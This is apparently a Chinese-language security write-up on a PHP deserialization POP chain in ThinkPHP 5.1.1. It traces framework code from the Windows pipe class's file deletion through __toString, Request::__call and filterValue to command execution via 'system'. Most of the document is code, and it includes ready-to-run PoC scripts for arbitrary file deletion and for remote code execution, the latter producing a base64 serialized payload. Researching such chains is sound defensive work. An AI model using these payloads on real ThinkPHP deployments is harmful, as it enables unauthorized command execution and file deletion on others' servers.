Thinkphp 5.1.1 反序列化pop链构造¶

一、漏洞简介¶

5.1.1的代码实现和5.1.38不同，于是就有了这篇文章

二、漏洞影响¶

Thinkphp 5.1.1

三、复现过程¶

这个漏洞的起点是一个任意文件删除漏洞

$this->files内容没有过滤，可以传入任意数值。

/thinkphp/library/think/process/pipes/Windows.php
public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

 private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

poc

<?php
namespace think\process\pipes;
class Windows
{
    private $files = [];
    public function __construct()
    {
        $this->files = ['1.php'];
    }
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

反序列链构造

先分析一下thinkphp5.1.38的poc

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["calc.exe","calc"]];
        $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根，如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

file_exists如果传入的是对象,将会将对象以字符串的形式处理。而toString魔术方法是当一个对象被当作字符串对待的时候,会触发这个魔术方法。所以全局搜索带有toString函数的类。

最后找到\thinkphp\library\think\model\concern\Conversion.php的Conversion类

后面的调用流程是 toString--->$this->toJson---->$this->toArray

跟进到toArray方法里，在3.1.38的poc里是通过调用$relation->visible方法，向$relation传入request对象，而request对象没有visible方法，从而调用**call方法。而我们这里也可以使用这种方法。

(注意:**call传入的第一个参数是方法名，第二个参数是参数数组。所以这里传入__call方法的方法名为append，而不是原来的visible)

$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
thinkphp3.1.38代码
$relation = $this->getAttr($key);
if ($relation) { $relation->visible($name); }

public function __toString()
    {
        return $this->toJson();
    }

public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        ......
        foreach ($data as $key => $val) {
        .........

        // 追加属性（必须定义获取器）
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $value = $this->getAttr($name, $item);
                    if (false !== $value) {
                        $item[$name] = $value;
                    }
                }
            }
        }

        return $item;
    }

由于Conversion和Attribute是trait类型，不能直接调用，所以要找到调用这两个类的类即model类。

abstract class Model implements \JsonSerializable, \ArrayAccess
{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;

model类是抽象类，不能直接调用。所以调用他的子类Pivot类(think\Model\Pivot)。

在源码中查找存在**call函数和没有append方法的类，(**call方法是在类没有调用函数的时候调用,第一个参数为方法名，第二个参数为方法的第一个参数)

最后查找到的是/thinkphp/library/think/Request.php的Request类,其中存在call_user_func_array方法

public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        } else {
            throw new Exception('method not exists:' . static::class . '->' . $method);
        }
    }

虽然$this->hook可控,但是由于array_unshift函数的作用，导致$args数组中会加入新的数组，所以判断不好利用。但是他是一个回调函数，可以以$this->hook[$method]=[$this,methodName]这种形式回调函数。

在Request类中查找call_user_func_array这种类型的函数，最后找到filterValue函数。

filterValue函数里面的call_user_func_array方法是这个漏洞的触发点。回溯$filter和$value

 private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }

        return $value;
    }

最后找到这样的一个调用流程，可以控制$filter, $value这两个变量。

isAjax()---->$this->param()----->$this->input------->$this->filterValue 分析下$filter, $value这两个变量的传递过程: \(value:isAjax方法的$this->config->get('var_ajax')---->param方法的\)name----->input方法的$name。所以$value可控。

$filter参数:param方法$this->param---->input方法$data

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH', '', 'strtolower');
        $result = ('xmlhttprequest' == $value) ? true : false;

        if (true === $ajax) {
            return $result;
        } else {
            return $this->param($this->config->get('var_ajax')) ? true : $result;
        }
    }

 public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->param)) {
            .......

        return $this->input($this->param, $name, $default, $filter);
    }

 public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            } else {
                $type = 's';
            }
            // 按.拆分成多维数组进行判断
            foreach (explode('.', $name) as $val) {
                if (isset($data[$val])) {
                    $data = $data[$val];
                } else {
                    // 无输入数据，返回默认值
                    return $default;
                }
            }
            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }

        .......
        return $data;
    }

$this->param=array_merge($this->param, $this->get(false), $vars, $this->route(false));是直接从url中获取参数。

$this->config->get('var_ajax')也是可控的。但是他和5.1.38不同的是，5.1.38的方法是$this->config['var_ajax'],所以导致不能用数组直接操控config值。

我的解决办法是从源码中查找含有get函数的类,通过pop链的方式操控config的值。最后发现\think\Hook.php的Hook类存在get方法

public function get($tag = '')
    {
        if (empty($tag)) {
            //获取全部的插件信息
            return $this->tags;
        } else {
            return array_key_exists($tag, $this->tags) ? $this->tags[$tag] : [];
        }
    }

由上面代码可以看出，程序会判断传入的$tag是否为空，不为空的话会返回传入参数在tags数组中对应的值。private $tags = ["var_ajax"=>'a'];类似于这种形式，便可以操控$this->config->get('var_ajax')的值。

由此$filter和$value都是可控的。所以可以通过filterValue方法中的call_user_func_array任意代码执行。

poc

<?php
namespace think;
abstract class Model
{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["a"=>["calc.exe"]];
        $this->data = ["a"=>new Request()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}
namespace think;
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根，如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = new Hook();
        $this->hook = ["append"=>[$this,"isAjax"]];
    }

}
namespace think;
class Hook{
    private $tags = ["var_ajax"=>'a'];
    public function get($tag = '')
    {
        if (empty($tag)) {
            //获取全部的插件信息
            return $this->tags;
        } else {
            return array_key_exists($tag, $this->tags) ? $this->tags[$tag] : [];
        }
    }
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

漏洞的利用前提是存在一个点可以输入点可以反序列化。